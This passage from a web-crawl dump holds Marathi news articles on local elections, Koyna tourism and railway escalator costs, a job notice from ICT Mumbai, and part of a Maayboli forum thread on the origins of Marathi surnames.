व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00315.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sangli/Double-election-in-the-eastern-part/", "date_download": "2018-09-25T16:57:52Z", "digest": "sha1:HXK22ZMPYYV2YBG62L375LCZOLCJ3HQR", "length": 8077, "nlines": 37, "source_domain": "www.pudhari.news", "title": " कवठेमहांकाळ पूर्वभागात दुरंगी लढती | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sangli › कवठेमहांकाळ पूर्वभागात दुरंगी लढती\nकवठेमहांकाळ पूर्वभागात दुरंगी लढती\nनागज : विठ्ठल नलवडे\nकवठेमहांकाळ तालुक्याच्या पूर्वभागातील ढालगाव, दुधेभावी, ढोलेवाडी, शिंदेवाडी, घोरपडी, कदमवाडी ग्रामपंचायतीच्या निवडणुकीचे धुमशान सुरू झाले. सर्वच गावांमध्ये दुरंगी लढती लागल्या आहेत. भाजपच्या विरोधात राष्ट्रवादी काँग्रेस व अजितराव घोरपडे गट यांनी एकत्र येऊन निवडणुकीच्या फडात रंगत आणली आहे. ढालगावमध्ये शिवसेनेच्या गटाने भाजपला साथ दिली आहे.\nराजकीयदृष्ट्या संवेदनशील मानल्या जाणार्‍या ढालगाव येथील ग्रामपंचायतीच्या प्रभाग एकमधील माधवराव जालिंदर देसाई व सविता हरिबा घोदे हे दोन राष्ट्रवादी काँग्रेस पक्षाचे उमेदवार बिनविरोध झाले आहेत. अन्य प्रभागांमध्ये दुरंगी लढती लागल्या आहेत. भाजप व शिवसेना यांच्या विरोधात अजितराव घोरपडे व राष्ट्रवादी काँग्रेस पक्षाच्या गटाने दंड थोपटले आहेत. भाजपचे माजी उपसरपंच अरविंद स्वामी यांनी उमेदवारी अर्ज माघार घेऊन भाजपच्या गटाला जोरदार धक्का दिला आहे.सरपंचपदासाठी भाजपमधून कमल तम्माणा घागरे तर घोरपडे गट, राष्ट्रवादी काँग्रेस गटातून मनीषा जनार्धन देसाई निवडणूक रिंगणात उतरल्या आहेत.\nकदमवाडीत भाजपचे दोन उमेदवार बिनविरोध झाले आहेत.अन्यत्र भाजप विरूद्ध राष्ट्रवादी काँग्रेस, घोरपडे गट असा दुरंगी सामना रंगला आहे. भाजपच्या रूपाली अमित कदम व अर्चना दिगंबर यादव या बिनविरोध निवडून आल्या आहेत.सरपंचपदासाठी भाजपच्या गीतांजली सुनील लिमकर व राष्ट्रवादी, घोरपडे गटातून मीनाक्षी दिलीप खांडेकर नशीब आजमावत आहेत.दुधेभावीत भाजपचे चंद्रकांत हाके यांच्या गटाविरोधात राष्ट्रवादी काँग्रेस व अजितराव घोरपडे गट यांनी एकत्र येऊन आव्हान उभा केले आहे. सरपंचपदासाठी भाजपमधून संगीता राजाराम काटे तर राष्ट्रवादी काँग्रेस, घोरपडे गटातून करूणा जीवन साबळे यांना निवडणूक रणांगणात उतरवले आहे. दुधेभावीच्या लढतीकडे जिल्ह्याचे लक्ष लागून राहिले आहे.\nशिंदेवाडीत अजितराव घोरपडे गट व भाजप यांच्यात लढत लागली आहे. घोरपडे गटातून आशा गणपत भोसले तर भाजपमधून जयश्री हणमंत लोखंडे निवडणूक लढवत आहेत.ढोलेवाडी, घोरपडी गावात भाजप विरोधात अजितराव घोरपडे, राष्ट्रवादी काँग्रेस अशी दुरंगी लढत आहे. दोन्ही गटाच्या उमेदवारी जाहीर झाल्यापासून प्रचाराचे रान तापवले जात आहे. या गावांमध्ये थेट सरपंचपदासाठी प्रथमच लढत लागल्याने निवडणूक चुरशीची व प्रतिष्ठेची होणार असल्याची चर्चा राजकीय वर्तुळात सुरू आहे. भाजप विरोधात राष्ट्रवादी काँग्रेस व अजितराव घोरपडे समर्थक एकत्र आल्याने ही निवडणूक म्हणजे ढालगाव विभागात नव्या राजकीय संघर्षाची सुरुवात असल्याचे संकेत मिळत आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00315.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/To-look-and-feel-Koyna-dam/", "date_download": "2018-09-25T16:50:47Z", "digest": "sha1:NAWZGEITE57AEN5GWT5D33YJ3MYHK677", "length": 8196, "nlines": 37, "source_domain": "www.pudhari.news", "title": " ‘कोयना’ पहायला अन् अनुभवायला या | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › ‘कोयना’ पहायला अन् अनुभवायला या\n‘कोयना’ पहायला अन् अनुभवायला या\nपाटण : गणेशचंद्र पिसाळ\nनिसर्ग समृद्धतेने नटलेला पाटण तालुका. त्यात कोयना विभाग म्हणजे निसर्ग पंढरी सध्या याच पंढरीमध्ये दैनंदिन हजारो पर्यटक वारकरी येवून या निसर्गाचा आस्वाद घेत आहेत. धकाधकीच्या व तणावग्रस्त प्रदुषणाच्या जगातून बाहेर येऊन काही काळ का होईना, पण याच ठिकाणी मोकळा श्‍वास घेण्याचा प्रयत्न हा निश्‍चितच संबंधितांना सार्वत्रिक ऊर्जा देणारा ठरत आहे.\nआता मानवाला निसर्गाचे व स्वतःच्या जीवनशैलीचे महत्व पटल्याने अशा पर्यटन केंद्रांना महत्व प्राप्त झाले आहे. धरण, ओझर्डे धबधबा, शिवसागर जलाशय, नेहरू गार्डन, पवनचक्क्या, उलटा धबधबा ही सध्या पर्यटनाची ऊर्जा केंद्रे बनली आहेत. त्यामुळे आता चला ही’ कोयना’ केवळ बघायलाच नव्हे तर जगायलाही या, असे आमंत्रणच इथला निसर्गराजा सर्वांना देत असल्याची अनुभूती येथे यायला लागली आहे. नानाविध निसर्ग संपत्ती लाभलेला पाटण तालुका. येथे निसर्गाने भरभरून दान पदरात टाकले आहे. त्याच साधनसंपत्तीच्या जोरावर आता हाच तालुका पुन्हा नव्याने पर्यटन विकासाची कात टाकताना पहायला मिळत आहे. पावसाळ्यात तर हा तालुका अक्षरशः निसर्गाची मुक्तहस्ते उधळण करताना पहायला मिळतो. त्यामुळे हाच निसर्ग आता जिल्हा, राज्य, परराज्यच नव्हे तर प्रदेशातील पर्यटकांचेही आकर्षण बनू लागला आहे. डोंगरदरयात विखुरलेला आणि हिरवागार शालू परिधान केलेल्या सध्याच्या नैसर्गिक किमयेचे वास्तव स्वतःच्या डोळ्यातूनच अनुभवायला पाहिजे.\nधरण, नेहरू गार्डन, पॅगोडा, ओझर्डे धबधबा, शिवसागर जलाशय, उलटा धबधबा, पवनचक्क्या, चाफळचे राममंदिर, वाल्मिकी मंदीर पठार, अन्य धरणे, मत्स्यप्रकल्प, सध्याचे अनेक ठिकाणचे धबधबे हे पर्यटनाचे केंद्रबिंदू ठरले आहेत. तर त्याला जोडूनच जंगल सफारी, नाईट सफारी, अ‍ॅडव्हेंचर क्लब, फिशिंग, स्विमिंग, पक्षी निरिक्षण आदी उपक्रमही राबविण्यात येत असल्याने पर्यटक वाढीला चालना मिळू लागली आहे. अगदी चहा, वडापावच्या टपर्‍यांपासून ते साधी हॉटेल्स, रेस्टॉरंट सध्या जोमात आहेत. तर काही शेकड्यांपासून ते हजारो रूपयांची आलिशान निवास व्यवस्था असणारी अद्ययावत रिसॉर्टही येथे उपलब्ध आहेत.\nपर्यटकांसाठी बंगले, फ्लॅट आदीमध्ये स्विमिंग पूल अंतर्गत विविध खेळ यामुळे येथे पर्यटन सध्या हाऊसफुल्ल असल्याचे चित्र पहायला मिळत आहे. त्यामुळे सर्व सोयींनी युक्त असा हा निसर्ग सर्वांनीच अनुभवायला हवा. शहरातील प्रदुषण कामाचा दैनंदिन ताण, तणाव घालविण्यासाठी आणि किमान मोकळा श्‍वास घेऊन पुन्हा नव्या ऊर्जेसह काम करण्यासाठी आता ‘कोयना’ बघायला आणि जगायलाही या असेच आमंत्रण सध्या हा निसर्ग देतोय हे नक्कीच. पर्यटकांमध्येही वाढ होत आहे ही निश्‍चितच चांगली बाब आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00315.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://lokmat.news18.com/mumbai/mumbai-local-railway-station-escalator-price-differences-260795.html", "date_download": "2018-09-25T17:23:17Z", "digest": "sha1:XSEJPJ7XQDXPBXEWY4TLRXHGTPJZLOAX", "length": 15813, "nlines": 136, "source_domain": "lokmat.news18.com", "title": "मुंबई : रेल्वे स्टेशनवरील 'एस्क्लेटर'च्या किंमतीत असाही 'चढउतार' !", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nमुंबई : रेल्वे स्टेशनवरील 'एस्क्लेटर'च्या किंमतीत असाही 'चढउतार' \nवेस्टर्न रेल्वेच्या सरकत्या जिन्यांची किंमत इथं फार जास्त जाणवतेय. तर मध्य रेल्वेचे काही सरकते जिने जसं कांजुरमार्ग, विक्रोळी, भांडुप यांच्या किंतीही जास्तच जाणवतायत. प्रश्न निर्माण होतो की एस्केलेटरमध्ये अशी काय विविधता असेल की किंमती या दुप्पट झाल्यात.\n16 मे : रेल्वे प्रवाश्यांना सुविधा देण्यासाठी, मुंबईतल्या अनेक रेल्वे स्टेशनवर एस्क्लेटर बसविण्यात आलेत. ज्याचं आज रेल्वे मंत्री सुरेश प्रभू यांच्या हस्ते उद्धघाटन करण्यात आलं. पण या एक्स्लेटर बांधण्यासाठी झालेल्या व्यवहारांत, मोठी तफावत दिसून आलीय. यासंदर्भात आरटीआय कार्यकर्ते अनिल गलगली यांनी माहितीच्या अधिकारात ही खर्चिक तफावत उघड केलीय.\nसरकते जिने फक्त दिव्यांगच किंवा वयोवृद्ध नाही तर थकलेल्या प्रवाशाला थोडं का होईना पण चालण्याचा त्रास नक्की कमी करत. स्मार्ट स्टेशनअंतर्गत ज्या सुविधा पुरवल्या जातायत त्याचाच हा भाग आहे. पण यात खटकणारी गोष्ट म्हणजे या एस्केलेटरची किंमत...पश्चिम आणि मध्य रेल्वेर जे एस्केलेटर लावले गेले आहे त्यांच्या किंमतीतील तफावत माहितीच्या अधिकारात उघड करण्यात आलीय. मध्य रेल्वेच्या आणि पश्चिम रेल्वेच्या सरकत्या जिन्यांच्या किंमतीतील तफावत विचार करायला लावणारी आहे.\nसरकत्या जिन्यांच्या किंमती (प्रति)\nकमीत कमी किंमत- 54 लाख, 73 हजार\nजास्तीत जास्त किंमत -77 लाख 48 हजार\nकमीत कमी किंमत--72 लाख 28 हजार\nजास्तीत जास्त किंमत-- 1 कोटी 8 लाख\nवेस्टर्न रेल्वेच्या सरकत्या जिन्यांची किंमत इथं फार जास्त जाणवतेय. तर मध्य रेल्वेचे काही सरकते जिने जसं कांजुरमार्ग, विक्रोळी, भांडुप यांच्या किंतीही जास्तच जाणवतायत. प्रश्न निर्माण होतो की एस्केलेटरमध्ये अशी काय विविधता असेल की किंमती या दुप्पट झाल्यात.\nस्मार्ट स्टेशनवर बसवणाऱ्या या सुविधा जर रेल्वेचा किंबहुना प्रवाशांचा असा पैसा वाया घालवत असतील तर या प्रक्रीयेची चौकशी होणं गरजेचं आहे.\nपश्चिम रेल्वच्या स्टेशन्सवर एकूण 34 तर मध्य रेल्वेच्या रेल्वे स्टेशन्सवर सरकते जिने लावले गेले आहेत.मध्य रेल्वे प्रशासनाच्या माहितीनुसार सरकत्या जिन्यांची लांबी रुंदी यांवर किंमत ठरत असते सरसकट सगळेच सरकते जिने हे एका किमतीचे असु शकत नाहीत. पण तरीही किंमती दप्पटीत कशा वाढल्याच याची एकदा पश्चिम रेल्वे प्रशासनानं चौकशी करणं गरजेचं आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00315.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://www.mahanmk.com/recruitment/ict-mumbai-recruitment-16042018.html", "date_download": "2018-09-25T17:47:22Z", "digest": "sha1:R3N66SW6DG57RC6YUVLXG6J52KUZIESV", "length": 6133, "nlines": 101, "source_domain": "www.mahanmk.com", "title": "केमिकल टेक्नॉलॉजी [ICT] मुंबई संस्था मध्ये 'संशोधन फेलो' पदांची ०१ जागा", "raw_content": "\nकेमिकल टेक्नॉलॉजी [ICT] मुंबई संस्था मध्ये 'संशोधन फेलो' पदांची ०१ जागा\nकेमिकल टेक्नॉलॉजी [ICT] मुंबई संस्था मध्ये 'संशोधन फेलो' पदांची ०१ जागा\nकेमिकल टेक्नॉलॉजी [Institute of Chemical Technology, Mumbai] मुंबई संस्था मध्ये 'संशोधन फेलो' पदांची ०१ जागासाठी पात्र उमेदवारांकडून अर्ज मागवण्यात येत असून अर्ज पोहचण्याची अंतिम दिनांक ०२ मे २०१८ आहे. सविस्तर माहितीसाठी कृपया जाहिरात पाहा.\nअधिक माहिती खालीलप्रमाणे :\nवेतनमान (Pay Scale) : २५,०००/- रुपये\nनोकरी ठिकाण : मुंबई\nअर्ज पाठविण्याचा पत्ता : सहाय्यक निबंधक (एकड) रासायनिक तंत्रज्ञान संस्था ४ नथलाल पारेख मार्ग, माटुंगा मुंबई - ४०००१९, भारत.\nटीप: आपले वय मोजण्याकरिता Age Calculator चा वापर करावा.\nफॉर्म भरण्याचा अंतिम दिनांक : 2 May, 2018\nNote: नवीन जाहिरातींचे सर्वात जलद अपडेट्स मिळवण्यासाठी \"www.MahaNMK.com\" या संकेतस्थळाला दररोज भेट द्या\n〉 नगरपरिषद देऊळगाव राजा, जि. बुलढाणा येथे 'वीजतंत्री' पदांची ०१ जागा\n〉 श्री गुरु गोबिंद सिंहजी इंजिनीअरिंग अँड टेक्नॉलॉजी, नांदेड येथे 'रिसर्च फेलो' पदांच्या जागा\n〉 कॅन्टोनमेंट बोर्ड देवळाली येथे 'सहाय्यक आरोग्य निरीक्षक' पदांच्या ०२ जागा\n〉 लोणार नगर परिषद [Lonar Nagar Parishad] बुलढाणा येथे 'स्थापत्य अभियंता' पदांची ०१ जागा\n〉 भारत हेवी इलेक्ट्रिकल लिमिटेड [BHEL] नागपूर येथे 'अर्धवेळ वैद्यकीय सल्लागार' पदांची ०१ जागा\n〉 झारखंड उच्च न्यायालय [Jharkhand High Court] रांची येथे विविध पदांच्या ७३ जागा\n〉 शासकीय अध्यापक महाविद्यालय मुंबई येथे 'सहायक प्राध्यापक' पदांच्या ०४ जागा\n〉 सोलापूर जिल्हा मध्यवर्ती सहकारी बँक मर्यादित येथे 'संगणक सल्लागार' पदांच्या जागा\n〉 राज्यसेवा प्रश्नपत्रिका संच\n〉 RRB भारतीय रेल्वेच्या ग्रुप-डी परीक्षा प्रवेशपत्र\n〉 जिल्हा निहाय जाहिराती\n〉 शैक्षणिक पात्रतेनुसार जाहिराती.\n〉 माहिती व जनसंपर्क विभाग.\n〉 महाराष्ट्र लोकसेवा आयोग.\n〉 केंद्रीय लोकसेवा आयोग.\n〉 स्टाफ सलेक्शन कमिशन.\n〉 महिला व बालविकास विभाग.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00316.warc.wet.gz", "language": "mr", "language_score": 0.84, "bucket": "all"} {"url": "https://www.maayboli.com/node/39892", "date_download": "2018-09-25T17:29:40Z", "digest": "sha1:RPVGLLIFD3XKOQ4C3QGDR23PJLHVKRXR", "length": 37605, "nlines": 310, "source_domain": "www.maayboli.com", "title": "आडनावांचा इतिहास... | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /आडनावांचा इतिहास...\nयेथे विविध आडनावे, त्यांची उत्पत्ती / व्युत्पत्ती आणि इतिहास याबद्दल माहिती संकलीत व्हावी अशी इच्छा आहे.\nपुर्वी आडनावे नव्हती असे दिसुन येते. ती कधी पासून वापरात येउ लागली, कशी तयार होत गेली याबद्दल अधिक जाणून घ्यायची इच्छा आहे.\nअनेकांना स्वतःच्या आडनावांचा इतिहास / अर्थ माहित नसतो ते ही कदाचीत येउन माहित होउन जाईल.\nकृपया... या धाग्यावर एखाद्या आडनावाविषयी माहिती विचारण्याआधी खाली दिलेल्या पानांवरील आडनावे वाचून बघा.\nउल्लेख / माहिती असलेली आडनावे -\nपान १ : देशपांडे, देशमुख, पाटील, चौधरी, परजणे, गायकवाड, भारती, कुलकर्णी, उपाध्ये / उपाध्याय, सकळकळे, देव, पटवर्धन, सावंत, सामंत, मराठे\nपान २ : जोशी, कोंडे-कोंढे, चव्हाण-चौहान, शिंदे, पाठक-वेदपाठक, जुन्नरकर\nपान ३ : सहारे, खंडाळकर, गाडगिळ, पवार, रावण, अशोकदा यांची पोस्ट, वाघमारे आणि प्राणिवाचक आडनावे, देसाई - नंदिनी यांची पोस्ट, केंभावी, चौधरी - प्रिंसेस यांची पोस्ट\nपान ४ : गांधी-नेहरु, बच्चन, देसाई - अधिक माहिती, कुलकर्णी, नाडकर्णी, जगदाळे, साबळे, दहातोंडे, 'आडनाव' वा 'कुळनाम' - अशोकदा यांची पोस्ट, यामादा-हायाशी-कोबायाशी - जपानी आडनावे, राजे, राजेशिर्के, पंदेरे, खताते, भुरण, काते, चिले\nपान ५: शिंदे, किर्लोसकर, देसाई - अशोकदा यांची पोस्ट, इनामदार, जाधव, यादव, तांबोळी, मणियार-मण्यार, पारकर, दिक्षित\nपान ६ : भारतातील-परदेशातील स्थलांतरीत मराठी आडनावे, मोकाशी, खेर, चौगुले\nपान ७ : धामणे, शिलाहार-शेलार, भट, देवधर, गोडबोले, प्रभु-देसाई, भिडे, आंबोळे, वालावलकर\nपान ८ : ठाकूर-ठाकरे-ठाकेर, बागवे - भाऊंची पोस्ट, थोरात, बडवे, किंकर, राउत, साळवे-साळवी, कदम-कदंब, चुरी\nपान ९ : पेठकर-पेटकर, गुर्जर, पाध्ये, निंबाळकर, जगताप, वानखेडे, देव\nपान १० : मुळे-मुळ्ये, 'वार'चा अर्थ, मुंबई परिसरातील आडनावे - दिनेशदा यांची पोस्ट,\nपान ११ : शिकलगार, अग्निहोत्री, हर्डिकर-अभिषेकी-मंगेशकर, सोनार, किहिमकर, वाघ, माळगावकर,\nपान १२ : विविध क्षेत्रातली प्रसिद्ध आडनावे - दिनेशदा यांची पोस्ट, वणकुद्रे, सोळंकी, पारसी आडनावे, कुलवृत्तांत-मौखिक इतिहास - वरदा यांची पोस्ट, पांड-पांडे, राजस्थानी आडनावे\nपान १३ : कर्णिक, गुप्ता-गुप्ते, सरदार, तेंडुलकर, बंगाली आणि विदर्भीय आडनावे, परांजपे\nपान १४ : येल्लुर आणि गीर येथील आफ्रिकन वंशाचे सिद्दी, शेंडे-शेंड्ये, आडनाव लावण्याची प्रथा - चिनुक्स यांनी दिलेल्या लिंक्स, केळकर, साठे-साठ्ये, मठाधिकारी, धडाम\nपान १५ : चित्पावन ब्राह्मण, गोत्रे, आडनावे व इतिहास, तंजावर मराठी आडनावे, भंडारी, पाटणकर\nपान १६ : श्रोत्रिय, ठाकर, समर्थ, पाठारे प्रभु आडनावे, वाडवळ आडनावे, हातीवलेकर, धडाम, भाट, अधिक तंजावर मराठी आडनावे, विश्वासराव\nपान १७ : पुणतांबेकर, घाटपांडे, प्राचीन मराठीचा शब्दकोश - चिनुक्स यांची पोस्ट, ठोमरे\nपान १८ : ........ अपुर्ण...\nचांगला धागा. (हेडरमधे इथे\nचांगला धागा. (हेडरमधे इथे जातीपातीवरून भांडू नये अशा अर्थाची एक सूचना घाल.)\nदेशपांडे : मूळ नाव उत्तर\nमूळ नाव उत्तर कर्नाटकातून आले. \"देशपंडित\" (देश + विद्वान अशी फोड). देवगिरीमधील कृष्णदेवराय राजाने सर्वप्रथम 'देशपांडे' ही accountant (मराठी शब्द)साठी जागा तयार केली. तिथेच या आडनावाचे मूळ सापडते.\nशिवाजीमहाराजांनी याच नावाने महाराष्ट्रात करवसूलीसाठी नेमणुका केलेल्या होत्या.\nअजून कोणाला माहिती असल्यास सांगावे.\nहेडरमधे इथे जातीपातीवरून भांडू नये अशा अर्थाची एक सूचना घाल >> +१\nआडनाव : पाटील पुर्वी फक्त\nपुर्वी फक्त पाटील हे आडनाव नसायच तर ते मुळ आडनावाला जोडुन यायच. जस आमच मगर पाटील. काहीजणांनी मुळ आडनाव वगळुन फक्त पाटील ठेवल तर आमच्यासारख्यांनी पाटील वगळल.\nपण पाटील हा हुद्दा होता.\n१. मुलकी पाटील - काम गावाचा/पंचक्रोशीचा सारा गोळा करणे आणि तो राजदरबारी जमा करणे. पाटील हा राजदरबार आणि गाव यातला दुवा होता.\nमाझ्या माहीतीप्रमाणे महाराष्ट्राच्या काही भागात पाटीलकी होती तर काही भागात देशमुखी. दोघांचे काम सारखेच असायचे. जाणकार अधिक प्रकाश टाकतील.\n२. पोलिस पाटील - ईंग्रजांच्या काळात हा हुद्दा अस्तित्वात आला. नक्की कधी ते माहीत नाही. यांच काम गावात / पंचक्रोशीत होणार्या गुन्ह्यांची माहीती पोलिस स्टेशनला देणे. पोलिसांना तपासात मदत करणे.\nसुशांत मग देशमुखी आणि पाटीलकी\nसुशांत मग देशमुखी आणि पाटीलकी हे हुद्दे समान होते का\nहो माझ्या माहीतीप्रमाणेतरी तसच आहे. ज्या गावात देशमुख असतात तिथे मुलकी पाटील मी पाहिले नाहीत आणि जिथे मुलकी पाटील आहेत तिथे देशमुख नाही. याला अपवाद असु शकतात.\nमस्त धागा. छान माहीती\nमस्त धागा. छान माहीती मिळेल.\nकालच मी आणि लेक व्यवसाय आणि त्यावरून आलेली आडनावे आठवत होतो.\nमजा येईल इथे वाचायला. माझ्या\nमजा येईल इथे वाचायला.\nमाझ्या पूर्वजांना त्या गावचे \"चौधरी\" ही पदवी मिळाली होती. मला त्याबद्दल अधिक माहिती हवी आहे. चौधरी पदाला काय अधिकार असत कुणाच्या काळात ही मिळाली असावी कुणाच्या काळात ही मिळाली असावी कारण त्याबद्दल आम्हाला वेगवेगळी माहिती मिळाली आहे पण त्यातली निश्चित अशी कुणाचीच नाही.\nशिवाय गावाचे पाटील असतांना चौधरी अशी पदवी का दिली असावी\nपरजणे - पुर्वी राजे\nपरजणे - पुर्वी राजे रजवाड्यांची शस्त्रे परजण्याचे काम करणारे लोक. त्यांचे आडनाव परजणे पडलं.\nजमिनदार वगैरेंच्या वाड्यात गायक म्हणून काम करत ते गायकवाड.\nमाझ्या आडनावाचा इतिहास माहित आहे मला, पण आत्ता विसरले आहे.\n छान माहीती मिळेल. देसाई आडनावा बद्दल कुणी सान्गू शकेल का\nपाटील आणि देशमुख ह्या दोन्ही\nपाटील आणि देशमुख ह्या दोन्ही पदव्या आहेत. देसाई देखील पद आहे.\nदेशावर देशमुख तर कोकणात देसाई. नावे वेगळी मात्र कार्यक्षेत्र सारखेच.\nपाटील आणि देशमुख यांचे काम साधारण सारखे असले तरी पाटीलांचे कार्यक्षेत्र कमी आणि देशमुखांचे मोठे.\nदेशमुख म्हणजे देशाचा (मोठा विभाग / प्रांत) मुख्य अधिकारी. पाटील हा गावचा मुख्य अधिकारी.\nफार छान सेना... मस्त\nमाझे सासर चे 